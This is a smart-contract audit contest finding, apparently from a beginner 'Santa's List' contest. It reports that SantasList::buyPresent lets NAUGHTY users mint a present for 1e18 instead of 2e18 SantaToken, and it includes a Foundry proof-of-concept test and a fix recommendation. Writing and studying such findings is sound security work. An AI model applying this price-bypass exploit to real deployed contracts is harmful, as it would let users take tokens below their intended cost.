First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Naughty persons can buy a present at cheaper than intended intended.

0xspryon

Summary

Naughty persons can buy a present at cheaper than intended.

Vulnerability Details

The application intends for NAUGHTY persons to purchase a present at the price of 2e18 SantaToken. But the SantasList::buyPresent method fails to account for this.

POC

Put the below code excerpt in `test/unit/SantasListTest.sol`
function testBuyPresentAtCheaperThanIntended() public {
address naughtyUser = makeAddr("naughty_user");
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
​
santasList.checkList(naughtyUser, SantasList.Status.NAUGHTY);
santasList.checkTwice(naughtyUser, SantasList.Status.NAUGHTY);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
vm.startPrank(user);
santasList.collectPresent();
santaToken.transfer(naughtyUser, 1e18);
vm.stopPrank();
​
vm.startPrank(naughtyUser);
santaToken.approve(address(santasList), 1e18);
santasList.buyPresent(naughtyUser);
assertEq(santasList.balanceOf(naughtyUser), 1);
vm.stopPrank();
}

In the terminal run the following command
forge test --mt testBuyPresentAtCheaperThanIntended

Impact

NAUGHTY persons can buy a present at cheaper than intended

Tools Used

Manual review

Recommendations

Check that, he who is receiving the minted ERC721 SantasList token during a call to SantasList::buyPresent is marked as NAUGHTY. If that's the case, verify that indeed for this minted token, 2e18 SantaTokens was paid for it instead of 1e18 SantaTokens.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Price is not enforced in buyPresent

This line indicates that the intended cost of presents for naughty people should be 2e18: https://github.com/Cyfrin/2023-11-Santas-List/blob/6627a6387adab89ae2ba2e82b38296723261c08a/src/SantasList.sol#L87 PURCHASE_PRESENT_COST should be implemented to enforce the cost of presents.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.